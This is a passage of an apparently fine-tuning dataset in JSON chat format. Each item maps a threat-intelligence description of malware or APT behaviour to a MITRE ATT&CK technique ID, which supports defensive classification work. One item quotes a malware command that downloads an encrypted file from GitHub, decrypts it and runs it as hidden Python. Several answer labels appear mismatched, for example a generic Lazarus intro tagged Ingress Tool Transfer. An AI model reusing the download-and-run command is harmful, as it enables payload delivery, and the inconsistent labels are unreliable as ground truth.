                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has used a fast flux DNS for C2 IP resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used batch scripts to download tools and executing cryptocurrency miners."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JSS Loader has the ability to launch scheduled tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos is triggered by an incoming TCP connection to a legitimate service from a specific source port."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our analysis of the backdoors used in the September 2018 attacks show that AuditCred.dll/ROptimizer.dll was similarly used:      FileTokenBroker.dll  (2017 attack) AuditCred.dll/Roptimizer.dll  (2018 attack)   Launch Method Service Service   Function Loader Component Loader Component   Working directory %Windows%\\System32 %Windows%\\System32   Loaded Component Path %Windows%\\System32\\en-US %Program Files%\\Common Files\\System\\ado   Loaded Component Blending Blends with .mui files Blend with ActiveX data Object dll files    Table1: Similarities of the Loader components in both incidents Analysis of backdoors used in 2018 The Lazarus group used a series of backdoors in their 2018 attacks, employing a complicated technique that involves three major components:  AuditCred.dll/ROptimizer.dll (detected by Trend Micro as BKDR_BINLODR.ZNFJ-A) – loader DLL that is launched as a service Msadoz<n>.dll (detected by Trend Micro as BKDR64_BINLODR.ZNFJ-A) – encrypted backdoor n = number of characters in the loader dll’s filename Auditcred.dll.mui/rOptimizer.dll.mui (detected by Trend Micro as TROJ_BINLODRCONF.ZNFJ-A) – encrypted configuration file   Figure 1: Loading sequence of the modularized backdoor The loader DLL is installed as a service and uses different names (AuditCred and ROptimizer) on different machines"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has the ability to steal saved passwords from Microsoft Outlook."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro v2.0 has another new function. If a dialog title is “Internet Explorer [7-11]” (the number after “Internet Explorer” depends on what version the user users) when Flagpro accesses to an external site, Flagpro sends WM_CLOSE message to close the dialog"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Winnti for Windows HTTP/S C2 mode can make use of an external proxy."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS will attempt to delete or disable all Registry keys and scheduled tasks related to Microsoft Security Defender and Security Essentials."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Vasport is capable of tunneling though a proxy."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initial compromise,  will download a second stage to establish a more permanent presence on the affected system."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBALL has the ability to use FTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute ipconfig on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has collected hardware details for the victim's system, including CPU and memory information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer sends information about hardware profiles and previously-received commands back to the C2 server in a POST-request."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses SSL/TLS and RC4 to encrypt traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as UPPERCUT."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy gets the username from the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks. APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password spray attacks."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The group is responsible for many high profile attacks in the past and has gained worldwide attention. The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th 2022"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use \"sudo\" to run a command."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy identifies network drives when they are added to victim systems."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hides many of its backdoor payloads in an alternate data stream (ADS)."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of  executes dir C:\\progra~1 when initially run."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In an uninhibited Emotet infection, it’s likely the malware would have then attempted to move laterally to other machines in the environment. Malwarebytes has some good analyses of Emotet if you’re looking for further reading"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the Plink utility to create SSH tunnels."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth web shell command set"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2e0361fd73f60c76c69806205307ccac, update.dll (MiniDuke), 425kb (internal name = “UserCache.dll“) 9e3f3b5e9ece79102d257e8cf982e09e, cache.dll (CozyDuke), 425kb (internal name = “UserCache.dll“) The two share identical export function names in their export directories, and the naming appears to be randomly assigned at compile time"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We also observed a third approach used by a malicious document file to deliver Hancitor. Although the threat actor and command and control servers are similar to the second Hancitor delivery approach, this one uses an alternate tactic to reach its goal of data theft"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon has decrypted encrypted strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\""
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has renamed malware to legitimate names such as \"ESTCommon.dll\" or \"patch.dll\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used tools to identify if a mouse is connected to a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Techniques for Analysis When I was analyzing this sample, the malware was unable to connect to its C2.  However, I was still able to analyze the network traffic of the sample.  How, you might ask?  Using a hex editor and a script I wrote to encrypt text using the algorithm that this sample uses, I encrypted my own C2 address (192.168.1.108:7721) and replaced the hardcoded C2 address with my own encrypted address.  I then opened a listener on my own IP on the respective port.    [Screenshot 3] comparison of My IP (Left) vs C2 IP (Right) Next, using a debugger, I set a couple breakpoints in the Internet Communications function and ran the malware.  The malware sample then connected to my IP and sent information to me, which I was able to observe using Wireshark.  After I’d captured the traffic, I was able to write another script to decrypt and decompress the traffic in order to view the data being sent.  Additionally, I then wrote a socket script that detects the Gh0stRAT variant traffic, automatically decrypts the traffic, and then extracts the Implant_Opcodes for the sample.  A second version of the script allows commands to be sent back to the malware, after I enumerated the exact command format for the sample.   [Screenshot 4] Output of Version 1 of the script So far, the 2 opcodes that the sample has sent are 0x65 and 0x66, or Implant_Heartbeat and Implant_Login, respectively.  “Hitting between the heartbeats” When sending commands, first the sample must login in with 0x65, then you can send commands to it.  However, you have to move fast as the sample will send an Implant_Heartbeat followed by an Implant_Login every 10 seconds or so, and if you try to send a command to the sample as it is responding with either opcode, it will ignore the command.  A proof of concept of the command script can be found here , while the Implant extraction script and the Command Script will be included in the Appendix"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST collected the username from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ecipekac has used a valid, legitimate digital signature to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware can use 2 different public RSA keys: one exported using the crypto api in a public blob or using the embedded in base64 in the malware. The malware will only use the second one if it cannot create the crypto context or has some problem with the crypto api functions"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover operating system configuration details using the systeminfo and set commands."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The password-protected ZIP attachments contain a Microsoft Word document with macros to install malware. See Appendix A for examples of these Word documents from June 2020. Prior to April 2020, the most common malware caused by Word documents associated with Shathak/TA551 was Ursnif. Since April 2020, the most common malware distributed by these Word documents has been Valak. Appendix C lists a series of Valak DLL examples from June 2020"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the victim clicks the Enable Content button, the macro commands are executed and invoke the Windows OS process msiexec.exe. This process is the Windows Installer, a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then calls the API EnumWindows() function to enumerate all windows from the victim’s system. Its EnumFunc() callback function collects all windows titles and then adds a 14H long random string prefix. One mixed windows title looks like this: “{14H long random string}+windows title”. All the mixed windows titles are added into a string list box control"
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has commonly set file and path attributes to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can collect system information including the OS version and domain on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The app executes the following shell command to download a custom-compiled version of the EggShell server for macOS: nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py The first part of the command downloads an encoded file from a Github page belonging to a user named youarenick\" and saves that file to a hidden file named .info.enc in /private/tmp/. Next, it uses openssl to decode that file into a hidden Python file named .info.py. Finally, it executes the resulting Python script.\""
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch has used a hardcoded GitHub repository as a fallback channel."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: SysV/Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has harvested user's login credentials."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "New services created by  are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\"."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Overall the code is very well written and designed to execute quickly to encrypt the defined files in the configuration of the ransomware. The embedded configuration file has some interesting options which we will highlight further in this article"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used an audio capturing utility known as SOUNDWAVE that captures microphone input."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The TAINTEDSCRIBE command and execution module can perform target system enumeration."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can execute command line scripts received from C2."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can decode contents from a payload that was Base64 encoded and write the contents to a file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uploads data in 2048-byte chunks."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk can stop specific services related to backups."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to upload a file from the command and control (C2) server to the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Archive files that contain a legitimate executable and a malicious DLL, to be used in a DLL hijacking technique, taking advantage of legitimate executables such as Outlook and Avast proxy, to load a malicious DLL"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has acquired multiple servers for some of their operations, using each server for a different role."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
